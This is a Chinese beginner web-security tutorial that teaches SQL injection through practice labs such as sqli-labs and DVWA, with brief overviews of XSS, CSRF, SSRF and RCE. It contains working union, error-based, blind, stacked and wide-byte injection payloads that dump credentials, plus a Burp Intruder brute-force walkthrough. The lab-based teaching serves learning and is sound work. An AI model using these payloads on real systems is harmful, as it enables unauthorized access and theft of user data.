zoukankan      html  css  js  c++  java
  • web安全入门

    序:环境搭建

    注:原创文章,禁止转载

    下载一个老版本的phpstudy,(小皮那个也应该可以)。

    网站文件放在/phpstudy/WWW/目录下

    常见错误:

    • 80端口被占用的可以选择其他端口8080,9096等,或者去把win+r输入services.msc,停掉SQL Reporting那个服务

    • 提示3306端口被占用,很有可能是你以前安装过mysql,phpstudy会自动提供一个mysqld的服务,导致两者冲突,打开任务管理器,找到mysqld.exe,结束,再启动phpstudy的环境即可

    • 网站还是不能访问的,找到其他选项,点击,找到phpStudy设置,点击允许目录列表

    然后登陆phpmyadmin(默认账户密码root,root)导入sql文件,创建数据库,然后再把网站里的sql文件导入

    可以自行百度找的一些网站源码来练习:如sqli-labs,dvwa,pikachu,upload-labs等

    此处先讲一些简单的漏洞。

    注:如果你熟悉docker的话,推荐使用docker一键拉取靶场,相关文章:

    docker简介和常用命令

    docker搭建pikachu

    docker搭建dvwa

    docker搭建sqli-labs

    本文最后更新于:2022-01-06

    1.sql注入

    1.1引入

    • 注入的根本原因:没有对用户的非法输入做过滤,如#,(),and,union select 等sql语句关键字

    sql注入的根本性思路:构造输入使在源码中的sql查询语句闭合且语句为真,下面将在联合注入详讲

    观察下面PHP源码中的一个登录时的sql查询语句:

    $query="select * from ".$t_name." where id='".$id."'"." and pass='".$pass."'";

    当我们随便输入一个用户名和密码时,在数据库中查询不到匹配的项,那么登录失败,那么通过sql注入登录是如何实现的呢?

    我们在用户名处输入(我们通常称之为万能密码,万能密码并不唯一,且构成方式较多):

    'or 1=1 #

    密码随便输入或者不输入,那么会是什么效果呢?

    登录成功.jpg(请读者自行脑补)

    我们登录成功了,那么我们来分析一下原因,输入'or 1=1 #后sql查询语句变为了(PHP中 . 用于连接字符串):

    select * from ".$t_name." where id='   ' or 1=1 #      '"." and pass='".$pass."'

    前面id 通过我们构造的 '闭合,#注释掉了后面的 ' 以及密码的查询验证,而只剩下的 or 1=1这个查询条件是为真的,这就是我们前面讲到的注入的两个关键点:

    • 闭合

    • 为真

    虽然你可能懂了,但随着不断的练习,你会对上面的这四个字会有更深刻的理解。

    那我们怎么知道它是' 闭合呢,在真实网站中我们没有上帝视角只能不断尝试,尝试 ' ,尝试" ,尝试"),'),甚至")),'))等等(一般来说没有哪个神经病会把sql查询语句写成(((' '))),论开发者的自我修养)

    那么,一般网站哪些地方存在注入呢?首先肯定要与数据库有交互的地方,像是登录,查询界面之类的,一般来说登录是post方式提交,查询是get方法提交。

     

    在讲两种提交方式之前我们先来了解一下url的构成。

    简单来说我们通常看到的一个网站链接都是一个url,类似http://www.test.com/item?id=1

    • http是通信协议,一般为http,https(https安全性更高)

    • www.baidu.com/a/b部分为 域名或者IP+路径 (在域名后面有一个默认80端口,可不写,若不是默认端口则需要写出)

    • ?后面接的是get参数,参数为id,值为1

     

    简单来说,get方法就是有明文显示,安全性较差,如:http://www.test.com/item?id=1,是直接将参数暴露在地址栏的

    而post提交,地址栏是看不到参数和值的,通常登录输入用户名和密码你并不能在地址栏看见那些参数和值,就是用的post提交,用比较官方的话来说,post操作对用户来说是不可见的,post提交若没有加密,可以使用burpsuite抓包直接看到post提交的数据,这个在后面讲到burpsuite的时候我们会讲到。

    我们不如网上讲的那么精细,总结起来就是:get和post都只是一种传递数据的方式,get也可以把数据传到服务器,本质都是发送请求和接收结果,只是组织格式和数量上有差别。(要看详细对比的,可以参考这篇文章[https://www.cnblogs.com/logsharing/p/8448446.html])

    最后,对于真实网站来说,一般都有WAF,web应用防护系统,如果你尝试注入,发现它过滤了那些关键字,在尝试过一些绕过方法后还是无法绕过后,那么可以放弃了,可以去考虑挖掘其他漏洞,千万不要与其死磕。

    1.2 联合注入

    联合注入,思路:

    • 1.找到一个可以尝试注入的地方

    • 2.判断参数类型(确定闭合方式)

    • 3.order by 判断字数

    • 4.判断有无输出位置(根据正常操作,网页给出的反馈判断有无输出位置)

    • 5.有输出位置,尝试union select爆输出(将参数设置为一个无法查到的值如-1,999999)

    1步骤就不必多说了。

    2,参数类型共有三种,数值型,字符型,搜索型,这里我们只讲前两种

    直接在参数的值后面输入and 1=1不报错,那么一般来说就是数值型(但是真实网站有过滤,你输入了这些页面也许还是显示正常)

    直接在参数的值后面输入' 或者",页面报错或者异常,那么就是字符型,而且一般来说输入谁谁报错,那么闭合方式就是谁,如输入'报错,"正常,那么闭合方式就是',如果输入',"二者都报错,那么则考虑添加括号,如:'),")

    3,直接在参数的值后面输入order by,判断字段数,如:http://www.test.com/item?id=1 order by 3

    我们通常可以从order by 10开始尝试,若页面显示报错或异常,则order by 5,依次二分递减,直到显示正常与异常那个分界线,如:order by 3正常,order by 4异常,那么可以判定字段数为3,确定字段数,为之后的union select做准备

    4,什么叫输出位置呢,以sqli中less-1为例,可以判断出,有图中箭头所指的两个输出位置

     

    那什么叫没有输出位置呢,请看下图:

    这里只会提示你一个you are in.......,根本没有输出位置,就算你的联合注入语句生效,可是它在前端没有输出位置,显示不出来,我们拿不到数据,又有什么用呢。

    5,有输出位置情况下,常规来看,我们还是无法输出,它始终输出查询到的id=1的信息,但是如果我们将id的值赋值为-1或者999999,一个数据库根本查不到的值,那么这两个输出就空出来了,我们可以通过union select直接注入,如sqli中的less-1我们判断出为字符型 ' 闭合 ,也通过order by 判断了其字段数为3:

    ?id=-1'union select version(),database()--+

    此处--+与#效果相同皆为注释,也可以写为%23,#的url编码就为%23

    可以看到我们直接爆出了它的mysql版本,以及数据库名

    如何通过联合注入爆表名,表字段名,爆数据呢?

    这就要说到mysql5.0版本之后,会生成一个虚拟数据库,名为information_schema,里面存在所有数据库的库名,表名,字段名。

    你只需要了解,有一个information_schema的数据库,里面有两张表,tables表,有两个字段存着所有的数据库名(table_schema)和表名(table_name),columns表有一个字段存着所有的字段名(column_name)。

    以sqli中的less-1为例:

    • 爆表名:
    ?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

    或者将上面的 'security' 改为database()也行,效果如下:

    此处用到了group_concat函数,可将字符串连接,还可添加输出格式,作用是将多行的查询结果显示到一行,否则将报以下错误:

    • 爆字段:

    ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

    • 爆数据:

    ?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password,0x7e) from security.users--+

    0x7e是~号

    0x3a是冒号:

    爆出数据如下:

    1.3报错注入

    前提,前端有mysql的报错提示,则可进行报错注入。

    思路:

    • 没有输出位置,构造 '或"有报错信息,可以选择报错注入(类似以下的报错信息)

    报错注入常用的两个函数:extractvalue(),updatexml()

    先来看看它们的参数:

    • extractvalue(目标xml文档,xml路径)

    • updatexml(目标xml文档,xml路径,更新的内容)

    目标xml文档这个参数你不需要理解它是个什么东西,这个参数就是填字符串的,随便填个1,或者'a'都可以,然后函数会去你输入的xml路径查找存不存在。

    这里关键的是第二个参数,xml路径,既然是路径那么自然是/开头,如/test/a/b这种,而#test这种显然不是一个路径的格式,而这两个函数当xml参数为路径时,无论找到与否都不会报错的,但是当xml路径不是一个路径写为#,%,&之类,那么就会报错,我们则可以利用这个报错,进行注入输出我们想要得到的数据。

    以sqli-less-5为例:

    ?id=1' extractvalue('a',concat('~',(select database())))--+

    concat()是字符串连接函数,输出如下:

    剩下的爆表爆库名也跟联合注入差不多了,换汤不换药,利用information_schema这个数据库:

    • 爆表名

    ?id=1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' )))#
    • 爆字段:

    ?id=1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')))#
    • 爆数据

    ?id=1'and extractvalue(1,concat('~',(select group_concat_ws(':',id,username,password,'~') from security.users)))#
    

     

    1.4布尔盲注

    适用条件:

    • 网页屏蔽了报错

    • 没有输出位置

    • 构造' 或"虽然没有报错,但是页面显示会异常

    以sqli-less-8为例:

    ?id=1 正常:

    ?id=1' 异常:

    (%27是'的url编码)

    像这种情况我们就可以考虑布尔盲注。

    思路:

    • 1.判断注入点

    • 2.判断数据库长度(判断闭合方式)

    • 3.爆数据

    以sqli-less-8为例(判断闭合方式为'),判断数据库长度:

    'and length(database())>=n--+

    通过n不断的增加,判断数据库的长度,

    如'and length(database())>=9--+,页面异常

    'and length(database())>=8--+,页面正常,那么可以判定,数据库名的长度的为8

    爆库名:

    'and substr(database(),1,1)='a'--+

    substr()截取字符串的函数,第一个参数是被截取的字符串,第二个是截取多少个字符串,第三个是从第几位开始截取

    当尝试到'and substr(database(),1,1)='s'--+,我们发现页面终于正常,便确定数据库名第一个字母为s

    如此尝试工作量太大, 我们便使用工具burpsuite爆破。

    1.4.1burp的简单使用

     

    首先推荐使用火狐浏览器,火狐浏览器必装插件:foxyproxy,wappalyzer,shodan

    foxyproxy方便快速开启代理,便于我们使用burp爆破,安装foxyproxy后,浏览器右上角有个小狐狸,点击选项可进行添加代理:

     

     

    代理IP写127.0.0.1,也就是本机服务器,填写的端口自己选定,但是要与burp的代理设置的端口一致,如下图:

    如果此时burp抓不了包,那么重启burp试试。

    设置完代理后,我们以后只需点击右上角小狐狸,进行快速开启或关闭代理。

    开启代理后,我们开启burp拦截请求,如下图:

    浏览器进行爆库名请求,burp抓包如下:

    我们看到第一行的GET方法,有我们的注入语句,右键选择intruder,

    点击测试器,点击位置,攻击类型选择集束炸弹(关于这四种攻击类型,此处不做详讲,请读者自行百度),点击§清除(默认勾选了所有的参数为有效载荷,然而我们不需要那么多),再选中我们想要进行爆破的参数添加§,效果如下:

    再选择有效载荷,载荷类型不改,选择从列表添加(下滑有0~9的选项),载荷集1是数据库名截取字符串的位置,数据库名长度前面我们判断为8(删除0,9即可),如下图:

    再选择有效载荷集2,这个地方是爆数据库名的某一位具体为哪个字母的,从列表添加,a-z,由于我们是上帝视角就不加数字,下划线阿那些了,条目太多跑起来时间有点久

    最后选择选项,只需线程数修改为30~40即可,太大不好,cpu遭不住,太小,跑到猴年马月,其他设置默认便好,如下图:

    最后点击右上角,开始攻击,攻击结果如下:

    点击长,进行排序,可以看到它们的长是不一样的(前面8个都是910,后面的都是926),排在前面的按照顺序拼出来正是数据库名security

    经验分享:

    • 爆破数据库名,可根据网站名来猜测,如果网站名为59同城,那我们或许可以猜测它的数据库名前两位为59,如果为地名balabala,那有可能数据库名前几位就是地名的拼音缩写

    • 如果有的时候排序后,缺少第某一位的结果,那可能是我们输入的字典不够强大,a-z,0-9,A-Z,特殊符号等等,可以在该攻击结果界面点击有效载荷,将载荷集修改为针对某一位的爆破,如缺少第4位的结果,我将有效载荷集1,只需添加一个4即可,再在有效载荷集添加更大一点的字典如a-z,A-Z,0-9,_,-,+,=,_等添加进去,但一般来说,如果字典为字母,数字都爆不出来,一般来说都是_,最后再在攻击那个地方选择重即可,如下图:

    burp的使用还有一个repeater,重定向,此处不细讲,读者可自行探索。

    爆表名:

    'and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+

    limit 0,1 选定输出多少个结果,此处为查询到的第一个表,0,从0开始计数,1,从0开始的第一个

    limit 1,2 表示输出查询到的结果的从第二位起的两个条目

    写的时候,我们可以先把大体结构写好,不容易出错,如:' and substr((),1,1)='a'--+,先把函数写出来,我们是截取一个字符的,在后面先把字符写好(随便写一个a),然后再在substr()函数里添加三个参数,第一个参数是我们的sql查询语句有点长,我们可以先括号括起来不写,把后面两个参数1,1写了,然后再来先前的括号里写sql语句

    爆字段:

    'and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='a'--+

    报数据:

    'and substr((select (id,username,password) from security.users limit 0,1),1,1)='a'--+

    如果你觉得爆破生成的条目太多,可以选择一点一点的爆。

    1.5时间盲注

    条件:在布尔盲注的基础上,输入'或者"页面依然正常或者说没有任何反馈。

    也是需要配合burp爆破,需要用到的函数有:

    • substr()

    • if(exp1,exp2,exp3)

    • sleep(n)

    substr()前面我们讲过,此处不再赘述。

    if()函数有三个参数,exp1为真时执行exp2,否则执行exp3

    sleep()函数,则是睡眠,如sleep(5),睡眠五秒,本该点击立即有反应的页面会转圈转几秒,会有明显的延迟。

    以sqli-less-9为例(什么时候都不要忘了确定闭合方式):

    爆数据库名:

    'and if(substr(database(),1,1)='s',sleep(5),1)--+

    如果第一个表达式substr(database()='s'为真,则执行sleep(5)睡眠五秒,页面会有明显延迟,否则页面会有立即的响应。

    同样时间盲注也需要配合burp提高我们的爆破效率。

    爆字段名:

    'and if(substr((select column_name from information_schema.columns where table_schema='security'and table_name='emails' limit 0,1),1,1)='i',sleep(5),1)--+

    报数据:

    'and if(substr((select concat(id,0x3a,email_id) from security.emails limit 0,1),1,1)='1',sleep(5),1)--+

    1.6堆叠注入

    简介:使用条件有限,但是威胁较大,原理是没有过滤;分号,使得能执行多条sql语句函数,没有预编译,虽然前端不显示,但是可以通过时间盲注得到信息。

    以sqli-less-38为例:

    1';create database abc;--+
    1';use abc;create table abc(id int(4) primary key not null,name varchar(10));
    1';insert into abc.abc values(1,'a'),(2,'b'),(3,'c');

    分步执行以上三条sql语句,打开navicat你能看到你所建的数据库,表,列,值

    还可以进行删库,修改表等操作。

    但由于使用条件有限,此处不过多讲解。

    1.7宽字节注入

    有的时候开发人员有一定的安全意识,会加入slash()函数,你的输入的非法字符'会被转义,成为\',从而你的注入失效。

    那么如何绕过呢?

    首先我们来了解mysql字符转换的三个步骤:

    • 收到请求

    • 内部操作

    • 结果输出

    宽字节注入原理:

    当满足以下条件时,双字节会被解析为一个汉字,从而实现绕过:

    • ascii值范围为128~254 + 64~254构成一个汉字(两个字节范围)

    %df ,%dc ,%d5c都可以实现逃逸

    如%df'

    如前面的联合注入:

    %df' union select 1,2,database()--+
    

    1.8cookie注入

    在已经登陆的情况下,服务器会生成一个cookie,是你登陆状态的凭证。

    通过burp抓包,能看到请求里面有cookie这一行,可以尝试在cookie末尾构成'或",通过右键选择repeater重定向,看反馈的页面是什么样的。

    以sqli-less-20为例,首先admin,admin登陆一下,退出,再在登陆是burp抓包进行cookie注入,一般在遇到真实网站时,可以找到注册页面先注册一个账户再进行cookie注入。

    以下为登陆状态:

    下面我们进行重新登陆,并抓包进行cookie注入:

    我们可以看到cookie,有这么一个参数和值,那么我们就在此处像在get方法里面对待参数和值那样进行尝试注入(换汤不换药,只是换了个地方)。

    2.XSS

    又称之为跨站脚本攻击,有三种类型:

    • 反射型

    • 存储型

    • DOM型

    原理:没有过滤非法输入,使得用户的非法输入被解析为网页js代码,实现恶意js 的功能。

    反射型就是url后面可以跟上能够被执行的恶意js代码,然后诱导别人点击你的跨站脚本(可以利用站长之家生成短链接让受害者放松警惕),受害者点击了你的脚本之后,你可以获取对方的cookie,然后利用对方的账户对服务器发起攻击。

    存储型,一般出现在能够把恶意脚本存储到服务器的地方,如评论区,个人信息填写的地方之类。

    DOM型,只与前端发生交互,不与后台产生交互。

    3.CSRF

    也叫跨站请求伪造,是劫持受信任用户,通过窃取cookie伪装用户身份,对服务器发起“合法”请求的攻击。

    修复建议:

    • 通过token或者session来判断当前用户身份(黑客获得了用户的cookie相当于获得了小区的通行证,没做token和session验证相当于你获得了这张通行证你就是那个小区里的人的身份,可以随意进出,但是有了token和session验证就相当于你虽然有了通行证但还要说出一个口号,这个口号是随机生成的,对不上,保安不让你进去)

    • 敏感操作需要验证码,更改密码操作需要验证旧密码。

    4.SSRF

    服务端请求伪造,由攻击者构造形成由服务端发起请求的安全漏洞,一般通过服务端访问内网的资源,服务端此时是充当一个中间人的作用,也是我们搜集其内网信息的一个跳板。

    有兴趣的读者可以去了解了解file_get_content()这个函数。

    5.RCE

    远程命令执行漏洞,一般在一些网站提供特殊功能如ping,文件备份等,但是开发者并没有对用户输入的非法信息做过滤,使得可以直接相当于在操控服务器的cmd命令,可以进行提权,进而拿下服务器。

    未完:写在后面的话

    只是简单做了一些漏洞介绍,之后再出个练习专篇。

    锻炼思路,坚持练习,就像刷数学题一样,概念你学了,定理公式你学了,最终还是要去刷题的,解题就要涉及到一个解题思路,只要不断练习,总结,到真正需要我们解题的时候,才不至于太无动于衷。

    天道酬勤,你会变成大神的。

    作者:
    除特别声明为原创博文外,均可转载,也欢迎转载,未经作者同意必须在文章页面给出原文链接,否则保留追究法律责任的权利,谢谢您的配合。
  • 相关阅读:
    Django中怎么做图片上传--图片展示
    Django框架获取各种form表单数据
    django中的数据库迁移
    flask中单选、多选、下拉框的获取
    解析web应用处理流程
    细说flask数据库迁移
    vue和jQuery嵌套实现异步ajax通信
    java
    nginx的主要用途
    mvn常用命令
  • 原文地址:https://www.cnblogs.com/sillage/p/13561868.html
Copyright © 2011-2022 走看看